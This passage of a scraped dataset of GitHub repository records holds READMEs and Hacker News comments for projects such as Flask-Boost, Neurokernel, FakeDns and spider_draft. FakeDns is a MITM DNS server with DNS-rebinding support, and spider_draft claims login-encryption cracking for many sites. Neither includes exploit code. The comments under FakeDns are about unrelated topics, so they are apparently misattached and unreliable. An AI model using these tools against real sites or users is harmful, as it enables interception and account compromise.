server\n[Expliot](https://gitlab.com/expliot_framework/expliot),Internet of Things (IoT) exploitation framework\n[mptcpanalyzer](),Tool to help analyze mptcp pcaps\n[clanvas](https://github.com/marklalor/clanvas),Command-line client for Canvas by Instructure\n\nOldies but goodie,,\n[JSShell](https://github.com/Den1al/JSShell),An interactive multi-user web JavaScript shell.\n[FLASHMINGO](https://github.com/fireeye/flashmingo),Automatic analysis of SWF files based on some heuristics. Extensible via plugins.", "readme_type": "text", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "hustlzp/Flask-Boost", "link": "https://github.com/hustlzp/Flask-Boost", "tags": [], "stars": 513, "description": "Flask application generator for boosting your development.", "lang": "Python", "repo_lang": "", "readme": "Flask-Boost\n===========\n\n.. image:: http://img.shields.io/pypi/v/flask-boost.svg\n   :target: https://pypi.python.org/pypi/flask-boost\n   :alt: Latest Version\n.. image:: http://img.shields.io/pypi/dm/flask-boost.svg\n   :target: https://pypi.python.org/pypi/flask-boost\n   :alt: Downloads Per Month\n.. image:: http://img.shields.io/pypi/pyversions/flask-boost.svg\n   :target: https://pypi.python.org/pypi/flask-boost\n   :alt: Python Versions\n.. image:: http://img.shields.io/badge/license-MIT-blue.svg\n   :target: https://github.com/hustlzp/Flask-Boost/blob/master/LICENSE\n   :alt: The MIT License\n\nFlask application generator for boosting your development.\n\nFeatures\n--------\n\n* **Well Defined Project Structure**\n\n  * Use factory pattern to generate Flask app.\n  * Use Blueprints to organize controllers.\n  * Split controllers, models, forms, utilities, assets, Jinja2 pages, Jinja2 macros into different directories.\n  * Organize Jinja2 page assets (HTML, JavaScript, CSS) to the same directory.\n  * Organize Jinja2 macro assets (HTML, JavaScript, CSS) to the same directory.\n\n* **Batteries Included**\n\n  * Use Flask-SQLAlchemy and Flask-Migrate as database tools.\n  * Use Flask-WTF to validate forms.\n  * Use Flask-Script to help writing scripts.\n  * Use permission_ to define permissions.\n  * Use Bootstrap as frontend framework.\n  * Use Bower to manage frontend packages.\n  * Use Gulp and FIS_ to compile static assets.\n  * Use Gunicorn to run Flask app and Supervisor to manage Gunicorn processes.\n  * Use Fabric as deployment tool.\n  * Use Sentry to log exceptions.\n  * Use Nginx to serve static files.\n\n* **Scaffold Commands**\n\n  * Generate project files: ``boost new <project>``\n  * Generate controller files: ``boost new controller <controller>``\n  * Generate action files: ``boost new action <controller> <action> [-t]``\n  * Generate form files: ``boost new form <form>``\n  * Generate model files: ``boost new model <model>``\n  * Generate macro files: ``boost new macro <category> <macro>`` or ``boost new macro <macro>``\n\n.. _permission: https://github.com/hustlzp/permission\n\nInstallation\n------------\n\n::\n\n    pip install flask-boost\n\nDevelopment Guide\n-----------------\n\nInit project\n~~~~~~~~~~~~\n\n::\n\n    boost new <your_project_name>\n\nSetup backend requirements\n~~~~~~~~~~~~~~~~~~~~~~~~~~\n \n::\n\n    cd <your_project_dir>\n    virtualenv venv\n    . venv/bin/activate (venv\\Scripts\\activate in Windows)\n    pip install -r requirements.txt\n\n**Note**: if you failed in ``pip install -r requirements.txt`` in Windows, try to install package binaries directly:\n\n* pycrpyto: try to follow this article compiling-pycrypto-on-win7-64_, or get the complied pycrypyto library directly: archive_pycrpyto_library_.\n\n.. _compiling-pycrypto-on-win7-64: https://yorickdowne.wordpress.com/2010/12/22/compiling-pycrypto-on-win7-64/\n.. _archive_pycrpyto_library: http://archive.warshaft.com/pycrypto-2.3.1.win7x64-py2.7x64.7z\n\nInit database\n~~~~~~~~~~~~~\n\nCreate database with name ``your_project_name`` and encoding ``utf8``.\n\nUpdate ``SQLALCHEMY_DATABASE_URI`` in ``config/development.py`` as needed.\n\nThen init tables::\n\n    python manage.py db upgrade\n\nRun app\n~~~~~~~\n\nRun local server::\n\n    python manage.py run\n\nSetup frontend requirements\n~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nInstall Node.js first and then install Bower_, FIS_ and Gulp_ globally::\n\n    npm install -g bower\n    npm install -g fis\n    npm install -g fis-postpackager-simple\n    npm install -g gulp\n\nInstall local packages::\n\n    npm install\n    bower install\n\nRun Gulp watch task\n~~~~~~~~~~~~~~~~~~~\n\n::\n\n    gulp watch\n\nLiveReload support\n~~~~~~~~~~~~~~~~~~\n\nInstall LiveReload browser extension from here_.\n\nAnd use ``python manage.py live`` instead of ``python manage.py run`` to start app.\n\n.. _here: http://livereload.com/extensions/\n\nScaffold commands\n~~~~~~~~~~~~~~~~~\n\n::\n\n    boost new <project>\n    boost new controller <controller>\n    boost new action <controller> <action> [-t]\n    boost new form <form>\n    boost new model <model>\n    boost new macro <category> <macro>\n    boost new macro <macro>\n    boost -v\n    boost -h\n\nRecommended IDE\n~~~~~~~~~~~~~~~\n\nPyCharm_ is the recommended IDE for Flask-Boost.\n\nRecommended preferences:\n\n* In ``Preferences -> Project -> Project Interpreter``, set ``venv`` as project interpreter.\n* In ``Preferences -> Project -> Project Structure``, set ``application/pages`` and ``application/macros`` as template folders, set ``application`` and ``application/static/css`` as resource folders.\n* In ``Language & Frameworks -> JavaScript -> Bower``, set ``bower.json`` as bower.json.\n\nRecommended PyCharm plugins:\n\n* .ignore\n* Markdown\n* Bootstrap3\n\n.. _PyCharm: https://www.jetbrains.com/pycharm/\n\nFirst Production Deploy\n-----------------------\n\nConfig server\n~~~~~~~~~~~~~\n\nInstall mysql-server, python-virtualenv, git, supervisor, nginx, g++, python-dev, libmysqlclient-dev, libxml2-dev, libxslt-dev on your server.\n\nInstall requirements\n~~~~~~~~~~~~~~~~~~~~\n\n::\n\n    git clone **.git\n    cd <your_project_dir>\n    virtualenv venv\n    . venv/bin/activate\n    pip install -r requirements.txt\n\nConfig app\n~~~~~~~~~~\n\nSave ``config/production_sample.py`` as ``config/production.py``, update configs in ``config/production.py`` as needed and transfer it to server.\n\n**Note**: remember to update ``SECRET_KEY`` in ``config/production.py``! You can generate random secret key as follows::\n\n>>> import os\n>>> os.urandom(24)\n\nInit database\n~~~~~~~~~~~~~\n\nCreate database with name ``your_project_name`` and encoding ``utf8``.\n\nAnd run::\n\n    export MODE=PRODUCTION\n    python manage.py db upgrade\n\nCopy config files\n~~~~~~~~~~~~~~~~~\n\nUpdate project root path as needed in ``deploy/nginx.conf`` and ``deploy/supervisor.conf``.\n\n::\n\n    cp deploy/flask_env.sh /etc/profile.d/\n    cp deploy/nginx.conf /etc/nginx/conf.d/<your_project_name>.conf\n    cp deploy/supervisor.conf /etc/supervisor/conf.d/<your_project_name>.conf\n\nBuild assets\n~~~~~~~~~~~~\n\nInstall Node.js first and then install Bower_, FIS_ and Gulp_ globally::\n\n    npm install -g bower\n    npm install -g fis\n    npm install -g fis-postpackager-simple\n    npm install -g gulp\n\nInstall local packages::\n\n    npm install\n    bower install\n\nThen::\n\n    gulp\n    python manage.py build\n\n.. _Bower: http://bower.io\n.. _FIS: http://fex-team.github.io/fis-site/\n.. _Gulp: http://gulpjs.com\n\nStart app\n~~~~~~~~~\n\n::\n\n    service nginx restart\n    service supervisor restart\n\nDaily Production Deploy\n-----------------------\n\nUpdate ``HOST_STRING`` in config with the format ``user@ip``.\n\nCommit your codes and run::\n\n    git push && fab deploy\n\nP.S. If you wanna to deploy flask with Apache2, see this_ post.\n\n.. _this: https://www.digitalocean.com/community/tutorials/how-to-use-apache-http-server-as-reverse-proxy-using-mod_proxy-extension\n\nLicense\n-------\n\nMIT\n", "readme_type": "rst", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "neurokernel/neurokernel", "link": "https://github.com/neurokernel/neurokernel", "tags": ["drosophila", "gpu", "neural", "brain", "simulation"], "stars": 513, "description": "Neurokernel Project", "lang": "Python", "repo_lang": "", "readme": ".. -*- rst -*-\n\n..  image:: https://raw.githubusercontent.com/neurokernel/neurokernel/master/docs/source/_static/logo.png\n    :alt: Neurokernel\n\nPackage Description\n-------------------\n\n`Project Website <https://neurokernel.github.io>`_ |\n`GitHub Repository <https://github.com/neurokernel/neurokernel>`_ |\n`Online Documentation <https://neurokernel.readthedocs.io>`_ |\n`Mailing List <https://lists.columbia.edu/mailman/listinfo/neurokernel-dev>`_ |\n`Forum <http://neurokernel.67426.x6.nabble.com/>`_\n\nNeurokernel is a Python framework for developing models of\nthe fruit fly brain and executing them on multiple NVIDIA GPUs.\n\n.. image:: http://prime4commit.com/projects/98.svg\n    :target: http://prime4commit.com/projects/98\n    :alt: Support the project\n\nPrerequisites\n-------------\nNeurokernel requires\n\n* Linux (other operating systems may work, but have not been tested);\n* Python;\n* at least one NVIDIA GPU with `Fermi\n  <http://www.nvidia.com/content/pdf/fermi_white_papers/nvidia_fermi_compute_architecture_whitepaper.pdf>`_\n  architecture or later;\n* NVIDIA's `GPU drivers <http://www.nvidia.com/content/drivers/>`_;\n* `CUDA <http://www.nvidia.com/object/cuda_home_new.html>`_ 5.0 or later;\n* `OpenMPI <http://www.open-mpi.org>`_ 1.8.4 or later compiled with CUDA support.\n\nTo check what GPUs are in your system, you can use the `inxi\n<https://code.google.com/p/inxi/>`_ command available on most Linux\ndistributions::\n\n  inxi -G\n\nYou can verify that the drivers are loaded as follows::\n\n  lsmod | grep nvidia\n\nIf no drivers are present, you may have to manually load them by running\nsomething like::\n\n  modprobe nvidia\n\nas root.\n\nAlthough some Linux distributions do include CUDA in their stock package\nrepositories, you are encouraged to use those distributed by NVIDIA because they\noften are more up-to-date and include more recent releases of the GPU drivers.\nSee `this page <https://developer.nvidia.com/cuda-downloads>`_ for download\ninformation.\n\nIf you install Neurokernel in a virtualenv environment, you will need to\ninstall OpenMPI. See `this page\n<https://www.open-mpi.org/faq/?category=building#easy-build>`_\nfor OpenMPI installation information. *Note that OpenMPI 1.8* |openmpi_no_windows|_.\n\n.. _openmpi_no_windows: https://www.open-mpi.org/software/ompi/v1.6/ms-windows.php\n.. |openmpi_no_windows| replace:: *cannot run on Windows*\n\nSome of Neurokernel's demos require either `ffmpeg <http://www.fmpeg.org>`_ or `libav\n<http://libav.org>`_ installed to generate visualizations (see `Examples`_).\n\nInstallation\n------------\n\nConda\n^^^^^\nThe easiest way to get neurokernel is to install it in a conda environment: ::\n\n  conda create -n nk python=3.7 c-compiler compilers cxx-compiler openmpi -c conda-forge -y\n  conda activate nk\n  python -m pip install neurokernel\n\nMake sure to enable CUDA support in the installed OpenMPI by setting: ::\n\n  export OMPI_MCA_opal_cuda_support=true\n\nExamples\n--------\nIntroductory examples of how to use Neurokernel to build and integrate models of different\nparts of the fly brain are available in the `Neurodriver\n<https://github.com/neurokernel/neurodriver>`_ package. To install it run the\nfollowing: ::\n\n  git clone https://github.com/neurokernel/neurodriver\n  cd ~/neurodriver\n  python setup.py develop\n\nOther models built using Neurokernel are available on\n`GitHub <https://github.com/neurokernel/>`_.\n\nBuilding the Documentation\n--------------------------\nTo build Neurokernel's HTML documentation locally, you will need to install\n\n* `mock <http://www.voidspace.org.uk/python/mock/>`_ 1.0 or later.\n* `sphinx <http://sphinx-doc.org>`_ 1.3 or later.\n* `sphinx_rtd_theme <https://github.com/snide/sphinx_rtd_theme>`_ 0.1.6 or\n  later.\n\nOnce these are installed, run the following: ::\n\n  cd ~/neurokernel/docs\n  make html\n\nAuthors & Acknowledgements\n--------------------------\nSee the included `AUTHORS`_ file for more information.\n\n.. _AUTHORS: AUTHORS.rst\n\nLicense\n-------\nThis software is licensed under the `BSD License\n<http://www.opensource.org/licenses/bsd-license.php>`_.\nSee the included `LICENSE`_ file for more information.\n\n.. _LICENSE: LICENSE.rst\n\nNotes\n-----\nThe Neurokernel Project is independent of the NeuroKernel Operating System\ndeveloped by `NeuroDNA Computer <http://www.neurokernel.com>`_.\n", "readme_type": "rst", "hn_comments": "Based on the current rate of processor development we will probably be able to model a human brain in realtime around 2045 on a supercomputer.We can model the processing of a human now but it is exceedingly slow, and it is just toy calculations. So even if we can model a mind in 2045 it will may be a long time after that before it can be done in a meaningful way.In the meantime we will probably be able to model humans in a more simplistic way. Our external interactions are simple. If we can record all interactions of a person over time we can develop a cognitive profile and develop a 'beta' copy of that person. Not a real thinking AI, but to someone interacting with that copy essentially the real thing.People are working on this topic now but they're a long way away. I'm guessing 2035.<HN_SEP>There is a similar project called OpenWorm, that aims to simulate a nematode completely. It's pretty cool, you should check it outhttp://www.openworm.org/<HN_SEP>Quoting from the course front page:Students with extensive software engineering experience (systems software, parallel programming or computer graphics) are strongly encouraged to apply.Almost makes me want to go back to grad school. Look at these folks, they made GPU-enabled code available as Python's SciKit[1]But then I see they're patenting stuff left and right [2] and my enthusiasm for this project dwindles....[1] http://www.bionet.ee.columbia.edu/code/scikits.cuda[2] http://www.bionet.ee.columbia.edu/patents/<HN_SEP>There is another project in prospect - CruzPa - that attempts to model a human brain specifically selected for its apparent simplicity. http://www.buzzfeed.com/ilanbenmeir/the-most-controversial-t...<HN_SEP>According to the specs a fruit fly is smarter than my mobile.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "ansible/ansible-jupyter-kernel", "link": "https://github.com/ansible/ansible-jupyter-kernel", "tags": [], "stars": 513, "description": "Jupyter Notebook Kernel for running Ansible Tasks and Playbooks", "lang": "Python", "repo_lang": "", "readme": "# Ansible Jupyter Kernel\n\n[![Build Status](https://travis-ci.com/ansible/ansible-jupyter-kernel.svg?branch=master)](https://travis-ci.com/ansible/ansible-jupyter-kernel)\n[![Binder](https://mybinder.org/badge.svg)](https://mybinder.org/v2/gh/ansible/ansible-jupyter-kernel/master)\n\n\n\n![Example Jupyter Usage](https://raw.githubusercontent.com/ansible/ansible-jupyter-kernel/master/docs/example_session.png)\n\nThe Ansible [Jupyter](http://jupyter.readthedocs.io/en/latest/) Kernel adds a kernel backend for Jupyter to interface directly with Ansible and construct plays and tasks and execute them on the fly.\n\n## Demo\n\n[![Demo](https://raw.githubusercontent.com/ansible/ansible-jupyter-kernel/master/docs/ansible_jupyter_kernel_vimeo.png)](https://vimeo.com/279049946 \"Run Ansible Tasks from Jupyter Notebook - Click to Watch!\")\n\n\n## Table of Contents\n\n* [Installation](#installation)\n  * [From pypi](#from-pypi)\n  * [From a local checkout](#from-a-local-checkout)\n* [Usage](#usage)\n  * [Using the cells](#using-the-cells)\n  * [Examples](#examples)\n* [Using the development environment](#using-the-development-environment)\n\n## Installation:\n\n`ansible-kernel` is available to be installed from pypi but you can also install it locally. The setup package itself will register the kernel\nwith `Jupyter` automatically.\n\n### From pypi\n\n    pip install ansible-kernel\n    python -m ansible_kernel.install\n\n### From a local checkout\n\n    pip install -e .\n    python -m ansible_kernel.install\n\n### For Anaconda/Miniconda\n\n    pip install ansible-kernel\n    python -m ansible_kernel.install --sys-prefix\n\n## Usage\n\n### Local install\n\n```\n    jupyter notebook\n    # In the notebook interface, select Ansible from the 'New' menu\n```\n\n### Container\n\n    docker run -p 8888:8888 benthomasson/ansible-jupyter-kernel\n\n    Then copy the URL from the output into your browser:\n    http://localhost:8888/?token=ABCD1234\n\n\n## Using the Cells\n\nNormally `Ansible` brings together various components in different files and locations to launch a playbook and performs automation tasks. For this\n`jupyter` interface you need to provide this information in cells by denoting what the cell contains and then finally writing your tasks that will make\nuse of them. There are [Examples](#examples) available to help you, in this section we'll go over the currently supported cell types.\n\nIn order to denote what the cell contains you should prefix it with a pound/hash symbol (#) and the type as listed here as the first line as shown in the examples\nbelow.\n\n#### #inventory\n\nThe inventory that your tasks will use\n\n```\n#inventory\n[all]\nahost ansible_connection=local\nanotherhost examplevar=val\n```\n\n#### #play\n\nThis represents the opening block of a typical `Ansible` play\n\n```\n#play\nname: Hello World\nhosts: all\ngather_facts: false\n```\n\n#### #task\n\nThis is the default cell type if no type is given for the first line\n\n```\n#task\ndebug:\n```\n\n```\n#task\nshell: cat /tmp/afile\nregister: output\n```\n\n#### #host_vars\n\nThis takes an argument that represents the hostname.  Variables\ndefined in this file will be available in the tasks for that host.\n\n```\n#host_vars Host1\nhostname: host1\n```\n\n#### #group_vars\n\nThis takes an argument that represents the group name.  Variables\ndefined in this file will be available in the tasks for hosts in that\ngroup.\n\n```\n#group_vars BranchOfficeX\ngateway: 192.168.1.254\n```\n\n#### #vars\n\nThis takes an argument that represents the filename for use in later cells\n\n```\n#vars example_vars\nmessage: hello vars\n```\n\n```\n#play\nname: hello world\nhosts: localhost\ngather_facts: false\nvars_files:\n    - example_vars\n```\n\n#### #template\n\nThis takes an argument in order to create a templated file that can be used in later cells\n\n```\n#template hello.j2\n{{ message }}\n```\n\n```\n#task\ntemplate:\n    src: hello.j2\n    dest: /tmp/hello\n```\n\n#### #ansible.cfg\n\nProvides overrides typically found in ansible.cfg\n\n```\n#ansible.cfg\n[defaults]\nhost_key_checking=False\n```\n\n### Examples\n\nYou can find various [example notebooks in the repository](https://github.com/ansible/ansible-jupyter-kernel/tree/master/notebooks)\n\n## Using the development environment\n\nIt's possible to use whatever python development process you feel comfortable with. The repository itself includes mechanisms for\nusing [pipenv](https://github.com/pypa/pipenv)\n\n```\npipenv install\n...\npipenv shell\n```\n", "readme_type": "markdown", "hn_comments": "I have been making Jupyter notebook for managing our container environment. Some work is still only possible through Ansible, so I've been wondering how to integrate that. Well, I need not wonder no more!This looks very promising:* auto completion!* integrated documentation!* exporting Ansible YAML!I didn't yet have change to play with this, so I just note the ways I see Jupyter can be good fit for Ansible. You can try each step and see it working before moving to next one. There doesn't seem to be support yet for richer results view nor Jupyter Widgets, but imagine looking at actual error messages and result views instead of JSON as text. Getting and setting parameters for playbooks could be done using external data sources instead of hand-crafting inventories and config files. You could use same approach as Ara [1] and trace execution of tasks.I assume you can run Ansible kernel from JupyterLab instance, so you can do file management and use terminal right on the machine you're running Ansible commands. Also, I'd imagine connecting with Jupyter Console (formerly IPython) to same kernel state as notebook is running with is possible here as well. This provides Terminal goodness alongside browser's visuals.[1] Ara: http://ara.readthedocs.io/en/latest/<HN_SEP>I really like the idea of notebooks for ops tasks - its a great combination of code, documentation and step by step execution. I'm surprised it is not more popular.<HN_SEP>Until there is a meaningful `git diff` for jupyter notebooks I can't see them being a step in the right direction for anything but transient experiments (and of course what Jypyter is great at; communication, documentation, low barriers etc.)<HN_SEP>I... don\u2019t get the use case for this? What am I missing?<HN_SEP>Reminds me of the \"Literate Devops with Emacs\" article that has been discussed on HN before.  Orgmode is well suited for this sort of thing:https://news.ycombinator.com/item?id=16559004<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "Crypt0s/FakeDns", "link": "https://github.com/Crypt0s/FakeDns", "tags": [], "stars": 513, "description": "A regular-expression based python MITM DNS server with support for DNS Rebinding attacks", "lang": "Python", "repo_lang": "", "readme": "FakeDns\n=======\nUpdate 4/14/2020 - Python 2 support removed and code swapped to Python3\n\nNow with round-robin & improved options!\n\nBugs:\n@crypt0s - Twitter\n\nbryanhalf@gmail.com - Email\n\n\nA python regular-expression based DNS server!\n\n    USAGE:\n    ./fakedns.py [-h] -c Config path [-i interface IP address] [--rebind]\n\nThe dns.conf should be set the following way:\n\n    [RECORD TYPE CODE] [python regular expression] [answer] [rebind answer]\n\nThe answer could be a ip address or string `self`,\nthe `self` syntax sugar will be translated to your current machine's local ip address, such as `192.168.1.100`.\n\nIf a match is not made, the DNS server will attempt to resolve the request using whatever you have your DNS server set to on your local machine and will proxy the request to that server on behalf of the requesting user.\n\n\nSupported Request Types\n=======================\n    - A\n    - TXT\n    - AAAA\n    - PTR\n    - SOA\n\nIn-Progress Request Types\n=========================\n    - MX\n    - CNAME\n\nMisc\n====\n    - Supports DNS Rebinding\n    - Supports round-robin\n\nRound-Robin\n===========\nRound-robin rules are implemented.  Every time a client requests a matching rule, FakeDNS will serve out the next IP in the list of IP's provided in the rule.  \nA list of IP's is comma-separated.\n\n\nFor example:\n\n    A robin.net 1.2.3.4,1.1.1.1,2.2.2.2\n\nIs a round-robin rule for robin.net which will serve out responses pointing to 1.2.3.4, 1.1.1.1, and 2.2.2.2, iterating through that order every time a request is made by any client for the robin.net entry.\n\n*NOTE* : These IP's aren't included as a list to the client in the response - they still only get just one IP in the response (could change that later)\n\nDNS Rebinding\n=============\nFakeDNS supports rebinding rules, which basically means that the server accepts a certain number of requests from a client for a domain until a threshold (default 1 request) and then it changes the IP address to a different one.\n\nFor example:\n\n    A rebind.net 1.1.1.1 10%4.5.6.7\n\nMeans that we have an A record for rebind.net which evaluates to 1.1.1.1 for the first 10 tries.  On the 11th request from a client which has already made 10 requests, FakeDNS starts serving out the second ip, 4.5.6.7\n\nYou can use a list of addresses here and FakeDNS will round-robin them for you, just like in the \"regular\" rule.\n\n\nTesting FakeDNS in Docker\n======\n_(localhost only without extra steps)_\n\nI have had a lot of success testing/developing FakeDNS in Docker because it's easier than running it natively on modern Ubuntu installs which have their own DNS services running on port 53 already.\n\nIf you want to try it out, you can do so without much heavy lifting by following these steps:\n\nAssuming you are **_inside the FakeDns directory_**: `sudo docker run --interactive --tty --volume \\`pwd\\`:/opt/FakeDns -p 5353:53/udp python:3.8 /opt/FakeDns/fakedns.py -c /opt/FakeDns/dns.conf.example`. And to test you can run `nslookup -port=5353 testrule.test 127.0.0.1` which should return `1.1.1.1` on your first request\n\nOr, if you'd like to use docker-compose, simply run `docker-compose up` and use the same test as above.", "readme_type": "markdown", "hn_comments": "Clickable link: https://filippo.io/fakenews/<HN_SEP>Does this only work with OpenSea projects today? What other NFT marketplaces do you plan to support in the future?Can you explain a bit how you know wether or not there's a scam going on with an NFT in a marketplace?<HN_SEP>Hello fellow Hackers, Saoud from Fakespot here.We are excited to announce the latest product in the Fakespot suite, NFT Guard!This extension will provide verification of NFT collections/NFTs on OpenSea (for first release, we are planning other marketplaces based on user/community feedback) and the detection of scam mint sites that will steal your tokens once a wallet is connected.Please leave comments here and I'd be more than happy to answer them!<HN_SEP>\"Infiltrated\" implies there was a state other than \"saturated\"<HN_SEP>Certainly would not have trusted the company with so much money if Sequoia's name wasn't plastered all over its marketing.Happy to share more details / proof in the comments. HN restricted the length of the post to 2k chars.HN: what can I do?Clickable links:https://coinswitch.co/https://coinswitch.co/termshttps://coinswitch.co/app/exchange/transaction/28f07022-4ab2...https://www.sequoiacap.com/companies/<HN_SEP>Tampering with the seal is just one way to do it. When I worked in transportation, we saw an operation that could take trailer doors off a truck, simultaneously, with out breaking the seal. And put them back on when they are done. We've also seen people cut holes in the side panels and patch them when they are finished.It's an interesting idea. Maybe it creates a \"harder door to kick in\" and criminals will target containers with non crypto seals.<HN_SEP>It seems like a cool idea but how would it stop the smuggling? The freight companies could just load the container with the contraband before they lock it up.<HN_SEP>", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "onepureman/spider_draft", "link": "https://github.com/onepureman/spider_draft", "tags": [], "stars": 514, "description": "\u5404\u79cd\u7f51\u7ad9\u7684\u767b\u9646\u7834\u89e3\uff0c\u4ec5\u4f9b\u4ea4\u6d41\u5b66\u4e60\uff0c\u5305\u62ec\uff1a126\u90ae\u7bb1,17173,189\u90ae\u7bb1,360\u767b\u5f55\u4e2d\u5fc3,37\u73a9,39\u5065\u5eb7,51\u6e38\u620f,58\u540c\u57ce,bilibili,YY\u76f4\u64ad,\u4e00\u52a0\u624b\u673a,\u4e2d\u56fd\u79fb\u52a8,\u4e5d\u6e38,\u4eca\u65e5\u5934\u6761,\u4f01\u67e5\u67e5,\u4f18\u9177\u89c6\u9891,\u4fe1\u606f\u516c\u793a\u7cfb\u7edf,\u51e4\u51f0\u7f51,\u53bb\u54ea\u513f,\u542f\u4fe1\u5b9d,\u548c\u8baf\u7f51,\u54aa\u5495\u89c6\u9891\u767b\u5f55,\u552f\u54c1\u4f1a,\u559c\u9a6c\u62c9\u96c5,\u56fd\u7f8e,\u5927\u4f17\u70b9\u8bc4,\u5927\u9ea6\u7f51,\u5929\u773c\u67e5,\u597d\u8c46\u83dc\u8c31,\u5b9c\u8d37\u7f51,\u5c0f\u7c73\u5546\u57ce,\u5f00\u6e90\u4e2d\u56fd,\u5fae\u535a,\u6052\u4fe1\u6613\u8d37,\u623f\u5929\u4e0b,\u641c\u623f\u5e2e,\u641c\u72d0,\u641c\u72d0\u89c6\u9891,\u641c\u72d7\u7ffb\u8bd1,\u6597\u9c7c,\u65b0\u534e\u7535\u5b50\u90ae\u5c40,\u6613\u8f66\u7f51,\u6709\u8d5e\u7f51,\u6dd8\u5b9d,\u7231\u4f01\u67e5,\u7231\u5e94\u7528,\u732b\u773c,\u73cd\u7231\u7f51,\u767e\u5bb6\u53f7,\u7a7a\u4e2d\u7f51,\u7b51\u9f99\u5b66\u793e,\u7c89\u7b14\u7f51,\u7eb5\u6a2a\u5c0f\u8bf4\u7f51,\u7f51\u6613,\u7f8e\u56e2,\u8001k\u6e38\u620f,\u8054\u901a\u8425\u4e1a\u5385,\u805a\u60e0\u5546\u57ce,\u8292\u679cTV,\u864e\u7259,\u8c46\u74e3,\u9014\u725b,\u9017\u6e38\u7f51,\u91d1\u725b\u7406\u8d22,\u95ee\u5377\u661f,\u963f\u91cc\u4e91,\u98ce\u884c\u7f51,\u98de\u5362\u5c0f\u8bf4\u7f51,\u9b45\u65cf\u3001\u3001\u3001", "lang": "Python", "repo_lang": "", "readme": "## #Dedicated to the js cracking of the login of various websites, which is continuously updated. . . (Due to working hours, many websites cannot be completed at one time and will be updated all the time)\n(Also: Crawlers that will supplement various website data later)\n\n####At present, it mainly cracks the js encryption of website login. The use of js to crack the click verification has not yet been involved. At present, the cracking of these two verification codes is mainly selenium, but I want to use js to crack it. I am studying js cracking at the same time The selenium solution will also be provided, please move to another project of mine ([Click to enter the project, currently this project will not be updated due to the completion of js cracking the verification code](https://github.com/onepureman/ selenium_login_cracking))\n\n### If you have big cows or are interested, you can communicate and give advice, or you can private message me to do some learning things together: [My Blog](https://blog.csdn.net/amanloveformi).\n\n\n\n\n# Tianyancha sliding login has been cracked, and issues such as sliding verification in subsequent projects will be updated one by one\n\n\nDisclaimer here: This project is only for learning and communication, not for commercial use, otherwise the consequences will be borne by the user!", "readme_type": "markdown", "hn_comments": "", "gh_updated_time": "", "gh_accessed_time": "", "hn_accessed_time": ""}, {"name": "liberize/alfred-dict-workflow", "link": "https://github.com/liberize/alfred-dict-workflow", "tags": [], "stars": 512, "description": "A multi-feature, fast and handy alfred dictionary workflow.", "lang": "Python", "repo_lang": "", "readme": "# Alfred word search expansion\n\nVersatile, fast and easy-to-use Alfred word lookup extension.\n\n**Please go to the release page to download the latest workflow and double-click to install it. **\n\n**For the convenience of use, please set the shortcut keys for word retrieval. **\n\n## Use the system's built-in Oxford dictionary\n\nSince the macOS dictionary format changes with each update, the latest version is not guaranteed to work and support for older versions will be removed.\n\nThe current version only supports 10.13. For systems below 10.13, please use the old version of workflow.\n\nFirst open Dictionary.app and install the Oxford English-Chinese Chinese-English Dictionary.\n\nThen install lxml :\n\n    command -v pip || sudo easy_install pip\n    sudo pip install lxml\n\n## Introduction\n\n* Supported dictionaries:\n    * System dictionary, supports Landau and Oxford dictionaries\n    * Youdao Online Dictionary\n    * iCiBa Online Dictionary\n    * <del>Baidu Online Dictionary</del>\n    * Bing Online Dictionary\n    * Sea words online dictionary\n* Support English-Chinese and Chinese-English mutual checking\n* Support phonetic symbols, the default display American phonetic symbols\n* Pronounced using the system TTS engine\n* Paraphrases can be quickly copied\n* Shortcut keys can be used to switch dictionaries\n* Cache query results to facilitate next query\n* Support shortcut keys to fetch words\n* Support custom configuration\n\n## screenshot\n\n![screenshot](http://ww1.sinaimg.cn/large/ded9da26gy1fuchcybxkbg20i70fqnpe.gif)\n\n## look up words\n\nLook up words:\n\n    cc {word} @ {dict}\n\nDictionary code:\n\nDictionary | Codename\n--------------------------- | -----------\nSystem built-in Oxford dictionary (requires lxml) | nj, oxford\nLandau Local Dictionary (download required) | ld, landau\nYoudao Online Dictionary | yd, youdao\niciba Online Dictionary | cb, iciba\n<del>Baidu Online Dictionary</del> | <del>bd, baidu</del>\nBing Online Dictionary | by, bing\nHai word online dictionary | hc, dictcn\n\nNote:\n\n* The default keyword is cc (that is, word search), which can be modified through the configuration file.\n* Each dictionary has two long and short codes, the short code is the pinyin abbreviation, which is easy to remember, and the long code is the full name.\n* A switch shortcut can be enabled for each dictionary, `\u2318`/`\u2325`/`\u2303`/`\u21e7`/`fn` + `\u21a9`, which can be modified through the configuration file.\n* Landau dictionary is not built in the system, please [download](http://pan.baidu.com/s/1qWx4mV6) first, and then copy it to `~/Library/Dictionaries/` directory.\n* Since Bing and Haici do not provide APIs, they can only be obtained by parsing HTML, so the speed may be slightly slower (optimized).\n\n## Internal commands\n\nView internal commands:\n\n    cc:\n\ncommand | function\n------- | ---------------------------------\nclean | clear all caches\nconfig | edit configuration file (json format)\nupdate | After modifying some items in the configuration file, it needs to be updated to take effect\n\nIt is recommended to execute an update every time the configuration file is modified to ensure it takes effect.\n\n## configuration file\n\nThe configuration file is in json format and currently has the following options:\n\n* \"keyword\": keyword, default is \"cc\".\n* \"default\": The default dictionary, which is the dictionary used when `@{dict}` is omitted, defaults to \"nj\".\n* \"keymap\": key binding, modify shortcut keys for switching dictionaries, support the following modifier keys:\n    * \"none\": Behavior when pressing Enter directly, can be \"open\" or \"say\":\n        - \"open\": Open the detailed explanation page (browser or system dictionary).\n        - \"say\": Pronunciation, currently only supports the system tts engine.\n    * \"ctrl/alt/shift/cmd/fn\": Dictionary code, long or short.\n* \"options\": Dictionary-related options, generally do not need to be modified.\n    * \"dictcn\": sea words dictionary options:\n        * \"wap_page\": Whether to use the wap page to look up words, the wap page has less information, the default is \"false\".\n* \"cache\": Cache related settings.\n    * \"enable\": Enable or disable caching, default is \"true\".\n    * \"expire\": cache expiration time, in hours, default is \"24\".\n\nNote:\n\n* There are also more detailed English comments in the 